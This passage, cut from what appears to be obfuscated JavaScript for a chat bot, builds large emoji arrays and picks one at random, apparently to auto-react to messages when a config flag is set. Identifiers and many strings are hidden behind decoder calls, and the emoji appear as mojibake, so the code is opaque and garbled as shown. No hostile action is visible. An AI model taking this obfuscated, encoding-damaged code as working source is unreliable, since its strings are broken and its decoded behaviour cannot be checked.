','๐ŸŽ‰','๐ŸŽŠ','๐Ÿ‘','๐Ÿ’ฅ','๐Ÿ”ฅ','๐Ÿ’ฅ','๐ŸŒช','๐Ÿ’จ','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒฑ','๐ŸŒฟ','๐Ÿƒ','๐Ÿ‚','๐ŸŒป','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒธ','๐ŸŒด','๐Ÿต','๐ŸŽ€','๐Ÿ†','๐Ÿˆ','๐Ÿ‰','๐ŸŽฏ','๐Ÿ€','๐ŸŠ','๐Ÿ‹','๐ŸŒ','๐ŸŽฒ','๐Ÿ“š','๐Ÿ“–','๐Ÿ“œ','๐Ÿ“','๐Ÿ’ญ','๐Ÿ’ฌ','๐Ÿ—ฃ','๐Ÿ’ซ','๐ŸŒŸ','๐ŸŒ ','๐ŸŽ‰','๐ŸŽŠ','๐Ÿ‘','๐Ÿ’ฅ','๐Ÿ”ฅ','๐Ÿ’ฅ','๐ŸŒช','๐Ÿ’จ','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ','๐Ÿ“ฝ๏ธ','๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ’','๐Ÿฆ','๐Ÿฆง','โšก','๐Ÿ','๐Ÿฆฎ',_0x50c532(0x374),'๐Ÿฉ','๐Ÿบ','๐ŸฆŠ','๐Ÿฆ','๐Ÿฑ','๐Ÿˆ','๐Ÿˆโ€โฌ›','๐Ÿฆ','๐Ÿฏ','๐Ÿ…','๐Ÿ†','๐Ÿด','๐ŸŽ','๐Ÿฆ„','๐Ÿฆ“','๐ŸฆŒ','๐Ÿฆฌ','๐Ÿฎ','๐Ÿ‚','๐Ÿƒ','๐Ÿ„','๐Ÿท','๐Ÿ–','๐Ÿ—','๐Ÿฝ','๐Ÿ','๐Ÿ‘','๐Ÿ','๐Ÿช','๐Ÿซ','๐Ÿฆ™','๐Ÿฆ’','๐Ÿ˜','๐Ÿฆฃ','๐Ÿฆ','๐Ÿฆ›','๐Ÿญ','๐Ÿ','๐Ÿ€','๐Ÿน','๐Ÿฐ','๐Ÿ‡',_0x50c532(0x1fd),'๐Ÿฆซ','๐Ÿฆ”','๐Ÿฆ‡','๐Ÿป',_0x50c532(0x34e),'๐Ÿจ','๐Ÿผ','๐Ÿฆฅ','๐Ÿฆฆ','๐Ÿฆจ','๐Ÿฆ˜','๐Ÿฆก','๐Ÿพ','๐Ÿฆƒ','๐Ÿ”','๐Ÿ“','๐Ÿฃ','๐Ÿค','๐Ÿฅ','๐Ÿฆ','๐Ÿง',_0x50c532(0x1a6),'๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆข','๐Ÿฆ‰','๐Ÿฆค','๐Ÿชถ','๐Ÿฆฉ','๐Ÿฆš','๐Ÿฆœ','๐Ÿธ','๐ŸŠ','๐Ÿข','๐ŸฆŽ','๐Ÿ','๐Ÿฒ','๐Ÿ‰','๐Ÿฆ•','๐Ÿฆ–','๐Ÿณ','๐Ÿ‹','๐Ÿฌ','๐Ÿฆญ','๐ŸŸ','๐Ÿ ','๐Ÿ˜€','๐Ÿ˜ƒ','๐Ÿ˜„','๐Ÿ˜','๐Ÿ˜†','๐Ÿ˜…','๐Ÿคฃ','๐Ÿ˜‚','๐Ÿ™‚','๐Ÿ™ƒ','๐Ÿ˜‰','๐Ÿ˜Š','๐Ÿ˜‡','๐Ÿฅฐ','๐Ÿ˜','๐Ÿคฉ','๐Ÿ˜˜','๐Ÿ˜—','โ˜บ๏ธ','๐Ÿ˜š','๐Ÿ˜™','๐Ÿฅฒ','๐Ÿ˜‹','๐Ÿ˜›','๐Ÿ˜œ','๐Ÿคช','๐Ÿ˜','๐Ÿค‘','๐Ÿค—','๐Ÿคญ','๐Ÿคซ','๐Ÿค”','๐Ÿค','๐Ÿคจ','๐Ÿ˜','๐Ÿ˜‘','๐Ÿ˜ถ',_0x50c532(0x2a4),'๐Ÿ˜','๐Ÿ˜’','๐Ÿ™„','๐Ÿ˜ฌ','๐Ÿ˜ฎโ€๐Ÿ’จ','๐Ÿคฅ','๐Ÿ˜Œ','๐Ÿ˜”','๐Ÿ˜ช','๐Ÿคค','๐Ÿ˜ด','๐Ÿ˜ท','๐Ÿค’','๐Ÿค•','๐Ÿ‘ป','๐Ÿ‘‘','๐Ÿคง','๐Ÿฅต','๐Ÿฅถ','๐Ÿฅด','๐Ÿ˜ต',_0x50c532(0x24f),'๐Ÿคฏ','๐Ÿค ','๐Ÿฅณ','๐Ÿฅธ','๐Ÿ˜Ž','๐Ÿค“','๐Ÿง','๐Ÿ˜•','๐Ÿ˜Ÿ','๐Ÿ™','โ˜น๏ธ','๐Ÿ˜ฎ','๐Ÿ˜ฏ','๐Ÿ˜ฒ','๐Ÿ˜ณ','๐Ÿฅบ','๐Ÿ˜ฆ','๐Ÿ˜ง','๐Ÿ˜จ','๐Ÿ˜ฐ','๐Ÿ˜ฅ','๐Ÿ˜ข','๐Ÿ˜ญ','๐Ÿ˜ฑ','๐Ÿ˜–','๐Ÿ˜ฃ','๐Ÿ˜ž','๐Ÿ˜“','๐Ÿ˜ฉ','๐Ÿ˜ซ','๐Ÿฅฑ','๐Ÿ˜ค','๐Ÿ•ท๏ธ','๐Ÿ˜ ','๐Ÿคฌ','๐Ÿ˜ˆ','๐Ÿ‘ฟ','๐Ÿ’€','โ˜ ๏ธ','๐Ÿ’ฉ','๐Ÿคก','๐Ÿ‘น','๐Ÿ‘บ','๐Ÿ‘ป','๐Ÿ‘ฝ','๐Ÿ‘พ','๐Ÿค–','๐Ÿ˜บ','๐Ÿ˜ธ','๐Ÿ˜น','๐Ÿ˜ป','๐Ÿ˜ผ','๐Ÿ˜ฝ','๐Ÿ™€','๐Ÿ˜ฟ','๐Ÿ˜พ','๐Ÿ™ˆ','๐Ÿ™‰','๐Ÿ™Š','๐Ÿ’‹','๐Ÿ’Œ','๐Ÿ’˜','๐Ÿ’','๐Ÿ’–','๐Ÿ’—','๐Ÿ’“','๐Ÿ’ž','๐Ÿ’•','๐Ÿ’Ÿ','โฃ๏ธ','๐Ÿ’”',_0x50c532(0x27f),_0x50c532(0x1d2),'โค๏ธ','๐Ÿงก','๐Ÿ’›','๐Ÿ’š','๐Ÿ’™','๐Ÿ’œ','๐ŸคŽ','๐Ÿ–ค','๐Ÿค','๐Ÿ’ฏ','๐Ÿ’ข','๐Ÿ’ฅ','๐Ÿ’ซ','๐Ÿ’ฆ','๐Ÿ’จ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ’ฌ',_0x50c532(0x296),_0x50c532(0x28c),_0x50c532(0x224),'๐Ÿ’ญ','๐Ÿ’ค','๐Ÿ‘‹','๐Ÿคš',_0x50c532(0x24e),'โœ‹','๐Ÿ––','๐Ÿ‘Œ','๐ŸคŒ','๐Ÿค','โœŒ๏ธ','๐Ÿคž','๐ŸคŸ','๐Ÿค˜','๐Ÿค™','๐Ÿ‘ˆ','๐Ÿ‘‰','๐Ÿ‘†',_0x50c532(0x1d2),'๐Ÿ‘‡','โ˜๏ธ','๐Ÿ‘','๐Ÿ‘Ž','โœŠ','๐Ÿ‘Š','๐Ÿค›','๐Ÿคœ','๐Ÿ‘','๐Ÿ™Œ','๐Ÿ‘','๐Ÿคฒ','๐Ÿค','๐Ÿ™','โœ๏ธ','๐Ÿ’…','๐Ÿคณ','๐Ÿ’ช','๐Ÿฆพ','๐Ÿฆฟ','๐Ÿฆต','๐Ÿฆถ','๐Ÿ‘‚','๐Ÿฆป','๐Ÿ‘ƒ','๐Ÿง ','๐Ÿซ€','๐Ÿซ','๐Ÿฆท','๐Ÿฆด','๐Ÿ‘€',_0x50c532(0x2f5),'๐Ÿ‘…','๐Ÿ‘„','๐Ÿ‘ถ','๐Ÿง’','๐Ÿ‘ฆ','๐Ÿ‘ง','๐Ÿง‘','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿง”',_0x50c532(0x311),_0x50c532(0x1c3),_0x50c532(0x21f),_0x50c532(0x20a),'๐Ÿ‘จโ€๐Ÿฆณ','๐Ÿ‘จโ€๐Ÿฆฒ','๐Ÿ‘ฉ',_0x50c532(0x25b),_0x50c532(0x316),_0x50c532(0x37c),'๐Ÿง‘โ€๐Ÿฆฑ',_0x50c532(0x2c8),_0x50c532(0x2b0),_0x50c532(0x270),_0x50c532(0x1e8),_0x50c532(0x26e),_0x50c532(0x317),'๐Ÿง“','๐Ÿ‘ด','๐Ÿ‘ต','๐Ÿ™','๐Ÿ™โ€โ™‚๏ธ',_0x50c532(0x2f0),'๐Ÿ™Ž',_0x50c532(0x21e),_0x50c532(0x2ce),'๐Ÿ™…',_0x50c532(0x2ec),_0x50c532(0x213),'๐Ÿ™†',_0x50c532(0x27d),_0x50c532(0x2a2),'๐Ÿ’','๐Ÿ’โ€โ™‚๏ธ',_0x50c532(0x252),'๐Ÿ™‹','๐Ÿ™‹โ€โ™‚๏ธ',_0x50c532(0x20e),'๐Ÿง','๐Ÿงโ€โ™‚๏ธ',_0x50c532(0x251),'๐Ÿ™‡',_0x50c532(0x31a),_0x50c532(0x217),'๐Ÿคฆ','๐Ÿคฆโ€โ™‚๏ธ',_0x50c532(0x23a),'๐Ÿคท',_0x50c532(0x2de),'๐Ÿคทโ€โ™€๏ธ',_0x50c532(0x258),_0x50c532(0x348),_0x50c532(0x32e),'๐Ÿง‘โ€๐ŸŽ“',_0x50c532(0x361),'๐Ÿ‘ฉโ€๐ŸŽ“',_0x50c532(0x1a2),'๐Ÿ‘จโ€๐Ÿซ','๐Ÿ‘ฉโ€๐Ÿซ','๐Ÿง‘โ€โš–๏ธ','๐Ÿ‘จโ€โš–๏ธ',_0x50c532(0x280),_0x50c532(0x210),_0x50c532(0x33a),_0x50c532(0x292),'๐Ÿง‘โ€๐Ÿณ',_0x50c532(0x1ab),_0x50c532(0x1ef),'๐Ÿง‘โ€๐Ÿ”ง','๐Ÿ‘จโ€๐Ÿ”ง',_0x50c532(0x32a),'๐Ÿง‘โ€๐Ÿญ',_0x50c532(0x34b),_0x50c532(0x260),_0x50c532(0x32f),'๐Ÿ‘จโ€๐Ÿ’ผ',_0x50c532(0x357),_0x50c532(0x284),_0x50c532(0x2b4),_0x50c532(0x1d1),_0x50c532(0x370),_0x50c532(0x2db),'๐Ÿ‘ฉโ€๐Ÿ’ป','๐Ÿง‘โ€๐ŸŽค','๐Ÿ‘จโ€๐ŸŽค',_0x50c532(0x2aa),_0x50c532(0x336),_0x50c532(0x1f4),_0x50c532(0x268),_0x50c532(0x329),_0x50c532(0x319),'๐Ÿ‘ฉโ€โœˆ๏ธ',_0x50c532(0x355),_0x50c532(0x220),_0x50c532(0x207),'๐Ÿง‘โ€๐Ÿš’','๐Ÿ‘จโ€๐Ÿš’',_0x50c532(0x2b2),'๐Ÿ‘ฎ','๐Ÿ‘ฎโ€โ™‚๏ธ',_0x50c532(0x295),'๐Ÿ•ต๏ธ',_0x50c532(0x24d),_0x50c532(0x2d0),'๐Ÿ’‚',_0x50c532(0x1ba),_0x50c532(0x323),'๐Ÿฅท','๐Ÿ‘ท',_0x50c532(0x2f9),'๐Ÿ‘ทโ€โ™€๏ธ','๐Ÿคด','๐Ÿ‘ธ','๐Ÿ‘ณ',_0x50c532(0x303),'๐Ÿ‘ณโ€โ™€๏ธ','๐Ÿ‘ฒ','๐Ÿง•','๐Ÿคต',_0x50c532(0x240),_0x50c532(0x27c),'๐Ÿ‘ฐ',_0x50c532(0x27b),_0x50c532(0x364),'๐Ÿคฐ','๐Ÿคฑ',_0x50c532(0x2d7),_0x50c532(0x34f),_0x50c532(0x261),'๐Ÿ‘ผ','๐ŸŽ…','๐Ÿคถ',_0x50c532(0x2e9),'๐Ÿฆธ',_0x50c532(0x2d8),'๐Ÿฆธโ€โ™€๏ธ','๐Ÿฆน',_0x50c532(0x256),_0x50c532(0x206),'๐Ÿง™',_0x50c532(0x26a),'๐Ÿง™โ€โ™€๏ธ','๐Ÿงš',_0x50c532(0x35c),_0x50c532(0x274),'๐Ÿง›',_0x50c532(0x1f6),_0x50c532(0x2e0),'๐Ÿงœ',_0x50c532(0x299),_0x50c532(0x307),'๐Ÿง','๐Ÿงโ€โ™‚๏ธ',_0x50c532(0x2dd),'๐Ÿงž','๐Ÿงžโ€โ™‚๏ธ',_0x50c532(0x266),'๐ŸงŸ',_0x50c532(0x2a1),_0x50c532(0x289),'๐Ÿ’†',_0x50c532(0x1bf),_0x50c532(0x257),'๐Ÿ’‡',_0x50c532(0x33b),'๐Ÿ’‡โ€โ™€๏ธ','๐Ÿšถ',_0x50c532(0x203),_0x50c532(0x288),'๐Ÿง',_0x50c532(0x283),_0x50c532(0x238),'๐ŸงŽ','๐ŸงŽโ€โ™‚๏ธ',_0x50c532(0x1eb),_0x50c532(0x2fe),'๐Ÿ‘จโ€๐Ÿฆฏ',_0x50c532(0x281),_0x50c532(0x25f),'๐Ÿ‘จโ€๐Ÿฆผ','๐Ÿ‘ฉโ€๐Ÿฆผ',_0x50c532(0x349),_0x50c532(0x1ad),_0x50c532(0x1d9),'๐Ÿƒ','๐Ÿƒโ€โ™‚๏ธ','๐Ÿƒโ€โ™€๏ธ','๐Ÿ’ƒ','๐Ÿ•บ',_0x50c532(0x27e),'๐Ÿ‘ฏ',_0x50c532(0x291),_0x50c532(0x37b),'๐Ÿง–',_0x50c532(0x1f1),_0x50c532(0x239),'๐Ÿง—','๐Ÿง—โ€โ™‚๏ธ',_0x50c532(0x2f6),'๐Ÿคบ','๐Ÿ‡','โ›ท๏ธ','๐Ÿ‚',_0x50c532(0x2c9),_0x50c532(0x279),_0x50c532(0x1e6),'๐Ÿ„',_0x50c532(0x1bc),_0x50c532(0x29e),'๐Ÿšฃ',_0x50c532(0x1f9),_0x50c532(0x29c),'๐ŸŠ','๐ŸŠโ€โ™‚๏ธ','๐ŸŠโ€โ™€๏ธ','โ›น๏ธ',_0x50c532(0x2d6),_0x50c532(0x1ac),'๐Ÿ‹๏ธ',_0x50c532(0x2be),_0x50c532(0x2d1),'๐Ÿšด',_0x50c532(0x36b),_0x50c532(0x285),'๐Ÿšต','๐Ÿšตโ€โ™‚๏ธ',_0x50c532(0x1ff),'๐Ÿคธ',_0x50c532(0x37a),_0x50c532(0x2d5),'๐Ÿคผ',_0x50c532(0x250),_0x50c532(0x1ea),'๐Ÿคฝ',_0x50c532(0x30c),_0x50c532(0x20f),'๐Ÿคพ',_0x50c532(0x267),_0x50c532(0x25a),'๐Ÿคน',_0x50c532(0x30e),_0x50c532(0x2ac),'๐Ÿง˜',_0x50c532(0x235),_0x50c532(0x293),'๐Ÿ›€','๐Ÿ›Œ',_0x50c532(0x373),'๐Ÿ‘ญ','๐Ÿ‘ซ','๐Ÿ‘ฌ','๐Ÿ’',_0x50c532(0x275),_0x50c532(0x2b1),'๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘ฉ','๐Ÿ’‘',_0x50c532(0x347),_0x50c532(0x365),_0x50c532(0x339),'๐Ÿ‘ช',_0x50c532(0x205),'๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘ง',_0x50c532(0x20b),_0x50c532(0x200),_0x50c532(0x219),'๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘ฆ',_0x50c532(0x312),_0x50c532(0x234),_0x50c532(0x2b3),'๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘งโ€๐Ÿ‘ง','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆ',_0x50c532(0x2c6),_0x50c532(0x33f),'๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ',_0x50c532(0x2d4),_0x50c532(0x1ce),'๐Ÿ‘จโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ',_0x50c532(0x2da),_0x50c532(0x1c1),_0x50c532(0x1a4),'๐Ÿ‘ฉโ€๐Ÿ‘ฆ',_0x50c532(0x1b1),_0x50c532(0x321),_0x50c532(0x1a3),_0x50c532(0x249),'๐Ÿ—ฃ๏ธ','๐Ÿ‘ค','๐Ÿ‘ฅ','๐Ÿซ‚','๐Ÿ‘ฃ','๐Ÿฆฐ','๐Ÿฆฑ','๐Ÿฆณ','๐Ÿฆฒ','๐Ÿต'],_0xd595f5=_0x32b63d[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x32b63d[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0xd595f5);}}if(!_0x5cff93&&_0x1e3d4b===_0x55fcd1){if(config[_0x50c532(0x2d2)]==='true'){const _0x36e9ef=['๐Ÿ˜Š','๐Ÿ‘','๐Ÿ˜‚','๐Ÿ’ฏ','๐Ÿ”ฅ','๐Ÿ™','๐ŸŽ‰','๐Ÿ‘','๐Ÿ˜Ž','๐Ÿค–','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿ•ด๏ธ','๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท','๐Ÿ•ฏ๏ธ','๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ','๐Ÿ•ณ๏ธ','๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿ•ด๏ธ','๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ','๐Ÿ•ณ๏ธ','๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),'๐Ÿ•ธ๏ธ','๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ','๐Ÿ•ด๏ธ','๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ™‚','๐Ÿ˜‘','๐Ÿคฃ','๐Ÿ˜','๐Ÿ˜˜','๐Ÿ˜—','๐Ÿ˜™','๐Ÿ˜š','๐Ÿ˜›','๐Ÿ˜','๐Ÿ˜ž','๐Ÿ˜Ÿ','๐Ÿ˜ 